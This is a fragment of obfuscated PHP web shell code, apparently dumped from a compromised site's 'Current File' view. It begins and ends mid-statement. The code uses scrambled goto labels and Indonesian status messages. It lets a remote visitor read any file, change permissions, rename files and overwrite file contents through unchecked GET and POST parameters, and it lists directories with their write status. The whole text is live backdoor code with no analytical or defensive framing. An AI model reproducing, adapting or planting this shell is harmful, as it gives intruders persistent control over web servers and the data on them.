Current File : "; goto F0; d8: echo '' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . ' '; goto E5; E5: } elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') { goto F5; Cd: echo ''; goto fd; F5: echo ' ' . $_POST['path'] . '
'; goto b0; b0: if ($_POST['opt'] == 'chmod') { if (isset($_POST['perm'])) { if (chmod($_POST['path'], $_POST['perm'])) { echo 'Change Permission Berhasil '; } else { echo 'Change Permission Gagal '; } } echo ''; } elseif ($_POST['opt'] == 'rename') { if (isset($_POST['newname'])) { if (rename($_POST['path'], $path . '/' . $_POST['newname'])) { echo 'Ganti Nama Berhasil '; } else { echo 'Ganti Nama Gagal '; } $_POST['name'] = $_POST['newname']; } echo ''; } elseif ($_POST['opt'] == 'edit') { if (isset($_POST['src'])) { goto Bd; A3: if (fwrite($fp, $_POST['src'])) { echo 'Berhasil Edit File '; } else { echo 'Gagal Edit File '; } goto f9; Bd: $fp = fopen($_POST['path'], 'w'); goto A3; f9: fclose($fp); goto e0; e0: } echo ''; } goto Cd; fd: } else { goto fc; b1: $scandir = scandir($path); goto ef; fc: echo ' '; goto D1; C9: foreach ($scandir as $dir) { goto Cb; e8: echo '
' . $dir . ' |
-- |
'; goto cc; bc: echo ' |
|
'; goto B8; d0: echo perms($path . '/' . $dir); goto C2; C2: if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir)) { echo ''; } goto bc; Cb: if (!is_dir($path . '/' . $dir) || $dir == '.' || $dir == '..') { continue; } goto e8; cc: if (is_writable($path . '/' . $dir)) { echo ''; } elseif (!is_readable($path . '/' . $dir)) { echo ''; } goto d0; B8: } goto f1; B7: foreach ($scandir as $file) { goto a4; a4: if (!is_file($path . '/' . $file)) { continue; } goto D3; D3: $size = filesize($path . '/' . $file) / 1024; goto ff; A8: if ($size >= 1024) { $size = round($size / 1024, 2) . ' MB'; } else { $size = $size . ' KB'; } goto A4; Ce: echo ' |
|
'; goto ae; D8: echo perms($path . '/' . $file); goto e5; e5: if (is_writable($path . '/' . $file) || !is_readable($path . '/' . $file)) { echo ''; } goto Ce; ff: $size = round($size, 3); goto A8; c5: if (is_writable($path . '/' . $file)) { echo '